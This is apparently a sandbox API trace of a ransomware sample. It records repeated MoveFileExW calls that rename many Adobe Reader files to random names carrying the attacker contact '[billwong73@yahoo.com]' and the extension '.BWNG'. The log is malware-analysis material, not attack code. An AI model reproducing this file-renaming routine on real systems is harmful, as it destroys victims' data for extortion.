QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24242788041) returned 1 [0100.476] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].c1BsdlqQ-qb5j321f.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].c1bsdlqq-qb5j321f.bwng"), dwFlags=0x1) returned 1 [0100.480] GetTickCount () returned 0x1160d98 [0100.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24243268739) returned 1 [0100.481] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\[billwong73@yahoo.com].fRSEIFvS-iLg0aaSJ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\[billwong73@yahoo.com].frseifvs-ilg0aasj.bwng"), dwFlags=0x1) returned 1 [0100.482] GetTickCount () returned 0x1160d98 [0100.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24243407864) returned 1 [0100.482] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].ajDUIevk-uDQiviWv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].ajduievk-udqiviwv.bwng"), dwFlags=0x1) returned 1 [0100.483] GetTickCount () returned 0x1160d98 [0100.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24243680775) returned 1 [0100.485] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].AFObU5te-ANpV2Pbp.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].afobu5te-anpv2pbp.bwng"), dwFlags=0x1) returned 1 [0100.486] GetTickCount () returned 0x1160d98 [0100.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24243819508) returned 1 [0100.486] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].ZhPcdfmW-swSGN5Mv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].zhpcdfmw-swsgn5mv.bwng"), dwFlags=0x1) returned 1 [0100.487] GetTickCount () returned 0x1160d98 [0100.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24243944708) returned 1 [0100.487] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].zO7gG188-ZoD25pgX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].zo7gg188-zod25pgx.bwng"), dwFlags=0x1) returned 1 [0100.488] GetTickCount () returned 0x1160d98 [0100.488] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24244067618) returned 1 [0100.489] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\PPKLITE.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ppklite.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\[billwong73@yahoo.com].TalOri4b-C8d3UxWc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\[billwong73@yahoo.com].talori4b-c8d3uxwc.bwng"), dwFlags=0x1) returned 1 [0100.490] GetTickCount () returned 0x1160d98 [0100.490] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24244215243) returned 1 [0100.490] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\[billwong73@yahoo.com].Z96V9NB6-08s3EbPF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\[billwong73@yahoo.com].z96v9nb6-08s3ebpf.bwng"), dwFlags=0x1) returned 1 [0100.491] GetTickCount () returned 0x1160d98 [0100.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24244363561) returned 1 [0100.492] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\updater.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\updater.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\[billwong73@yahoo.com].o1lZYAzD-Pzl9mH97.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\[billwong73@yahoo.com].o1lzyazd-pzl9mh97.bwng"), dwFlags=0x1) returned 1 [0100.493] GetTickCount () returned 0x1160d98 [0100.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24244499304) returned 1 [0100.493] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\[billwong73@yahoo.com].hpCSYkQW-AlVaVmpd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\[billwong73@yahoo.com].hpcsykqw-alvavmpd.bwng"), dwFlags=0x1) returned 1 [0100.494] GetTickCount () returned 0x1160d98 [0100.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24244647103) returned 1 [0100.494] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\eBook.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ebook.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\[billwong73@yahoo.com].P3dj6tQ9-m9paAHSA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\[billwong73@yahoo.com].p3dj6tq9-m9paahsa.bwng"), dwFlags=0x1) returned 1 [0100.655] GetTickCount () returned 0x1160e44 [0100.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24260764568) returned 1 [0100.656] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SaveAsRTF.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\saveasrtf.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\[billwong73@yahoo.com].WFuUwHjc-QT3Cm1Kx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\[billwong73@yahoo.com].wfuuwhjc-qt3cm1kx.bwng"), dwFlags=0x1) returned 1 [0100.657] GetTickCount () returned 0x1160e44 [0100.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24260896722) returned 1 [0100.657] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\[billwong73@yahoo.com].iVHYwZ2h-9KBqHM56.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\[billwong73@yahoo.com].ivhywz2h-9kbqhm56.bwng"), dwFlags=0x1) returned 1 [0100.658] GetTickCount () returned 0x1160e44 [0100.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24261070660) returned 1 [0100.659] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\AdobeCollabSync.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\adobecollabsync.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\[billwong73@yahoo.com].h2WIwPpI-UZQrkOMV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\[billwong73@yahoo.com].h2wiwppi-uzqrkomv.bwng"), dwFlags=0x1) returned 1 [0100.660] GetTickCount () returned 0x1160e44 [0100.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24261235556) returned 1 [0100.660] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Multimedia.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\multimedia.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\[billwong73@yahoo.com].ncYhfPHC-OSW3oJy1.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\[billwong73@yahoo.com].ncyhfphc-osw3ojy1.bwng"), dwFlags=0x1) returned 1 [0100.824] GetTickCount () returned 0x1160eef [0100.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24277577260) returned 1 [0100.824] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\[billwong73@yahoo.com].dmkihPuz-6KZlXBhW.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\[billwong73@yahoo.com].dmkihpuz-6kzlxbhw.bwng"), dwFlags=0x1) returned 1 [0100.825] GetTickCount () returned 0x1160eef [0100.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24277775781) returned 1 [0100.826] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\[billwong73@yahoo.com].nU0XhC0P-TswKXlF5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\[billwong73@yahoo.com].nu0xhc0p-tswkxlf5.bwng"), dwFlags=0x1) returned 1 [0100.827] GetTickCount () returned 0x1160eef [0100.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24277951724) returned 1 [0100.828] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DigSig.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\digsig.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\[billwong73@yahoo.com].iWPZvKOs-Sr3gofEI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\[billwong73@yahoo.com].iwpzvkos-sr3gofei.bwng"), dwFlags=0x1) returned 1 [0101.089] GetTickCount () returned 0x1160fe9 [0101.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24304166603) returned 1 [0101.090] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\[billwong73@yahoo.com].HrRs6ac9-jPqgR8rd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\[billwong73@yahoo.com].hrrs6ac9-jpqgr8rd.bwng"), dwFlags=0x1) returned 1 [0101.091] GetTickCount () returned 0x1160fe9 [0101.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24304362915) returned 1 [0101.092] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\[billwong73@yahoo.com].ADG5rA5B-RfscKAOP.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\[billwong73@yahoo.com].adg5ra5b-rfsckaop.bwng"), dwFlags=0x1) returned 1 [0101.093] GetTickCount () returned 0x1160fe9 [0101.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24304533401) returned 1 [0101.093] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\ReadOutLoud.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\readoutloud.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\[billwong73@yahoo.com].qP9NCXUp-c5aqPXoq.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\[billwong73@yahoo.com].qp9ncxup-c5aqpxoq.bwng"), dwFlags=0x1) returned 1 [0101.094] GetTickCount () returned 0x1160fe9 [0101.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24304654208) returned 1 [0101.094] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\[billwong73@yahoo.com].H11PhcPC-rDZgX82V.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\[billwong73@yahoo.com].h11phcpc-rdzgx82v.bwng"), dwFlags=0x1) returned 1 [0101.096] GetTickCount () returned 0x1160fe9 [0101.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24304802826) returned 1 [0101.096] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\[billwong73@yahoo.com].OnFPIHwu-RDHblxPd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\[billwong73@yahoo.com].onfpihwu-rdhblxpd.bwng"), dwFlags=0x1) returned 1 [0101.097] GetTickCount () returned 0x1160fe9 [0101.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24304962627) returned 1 [0101.098] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\accessibility.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\accessibility.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\[billwong73@yahoo.com].fzhfGY2H-mgyYy5Ni.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\[billwong73@yahoo.com].fzhfgy2h-mgyyy5ni.bwng"), dwFlags=0x1) returned 1 [0101.099] GetTickCount () returned 0x1160fe9 [0101.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24305125990) returned 1 [0101.099] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].6VZs9JrZ-8bX6CYUA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].6vzs9jrz-8bx6cyua.bwng"), dwFlags=0x1) returned 1 [0101.101] GetTickCount () returned 0x1160fe9 [0101.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24305284254) returned 1 [0101.101] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\Flash.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\flash.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\[billwong73@yahoo.com].dWWar3Cb-hrncSr6T.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\[billwong73@yahoo.com].dwwar3cb-hrncsr6t.bwng"), dwFlags=0x1) returned 1 [0101.102] GetTickCount () returned 0x1160fe9 [0101.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24305431168) returned 1 [0101.102] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\QuickTime.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\quicktime.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\[billwong73@yahoo.com].BDu3I0Xk-5wGUpMv1.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\[billwong73@yahoo.com].bdu3i0xk-5wgupmv1.bwng"), dwFlags=0x1) returned 1 [0101.103] GetTickCount () returned 0x1160fe9 [0101.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24305561158) returned 1 [0101.104] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\Flash.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\flash.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\[billwong73@yahoo.com].a8VFNkgI-14oKq21p.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\[billwong73@yahoo.com].a8vfnkgi-14okq21p.bwng"), dwFlags=0x1) returned 1 [0101.105] GetTickCount () returned 0x1160ff9 [0101.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24305726699) returned 1 [0101.105] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].2dM5XbY5-DvtCdLHq.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].2dm5xby5-dvtcdlhq.bwng"), dwFlags=0x1) returned 1 [0101.107] GetTickCount () returned 0x1160ff9 [0101.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24305880231) returned 1 [0101.107] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\QuickTime.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\quicktime.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\[billwong73@yahoo.com].ALejBYdN-jAdj4kH9.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_slv\\[billwong73@yahoo.com].alejbydn-jadj4kh9.bwng"), dwFlags=0x1) returned 1 [0101.108] GetTickCount () returned 0x1160ff9 [0101.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24306010173) returned 1 [0101.108] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].RIOTN2ns-8UsdgPqC.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].riotn2ns-8usdgpqc.bwng"), dwFlags=0x1) returned 1 [0101.109] GetTickCount () returned 0x1160ff9 [0101.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24306157007) returned 1 [0101.110] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].J2vJTbK2-tW3To5IC.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].j2vjtbk2-tw3to5ic.bwng"), dwFlags=0x1) returned 1 [0101.111] GetTickCount () returned 0x1160ff9 [0101.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24306279589) returned 1 [0101.111] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\weblink.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].IZy1nozW-U3YSzc5r.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].izy1nozw-u3yszc5r.bwng"), dwFlags=0x1) returned 1 [0101.112] GetTickCount () returned 0x1160ff9 [0101.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24306437706) returned 1 [0101.112] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].sqTTwNk3-AoXAg7Es.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].sqttwnk3-aoxag7es.bwng"), dwFlags=0x1) returned 1 [0101.283] GetTickCount () returned 0x11610a4 [0101.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24323481093) returned 1 [0101.283] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\Mcimpp.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\mcimpp.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\[billwong73@yahoo.com].wWbZjXNs-eGIXi99C.BWNG" (normalized: "c:\\program files 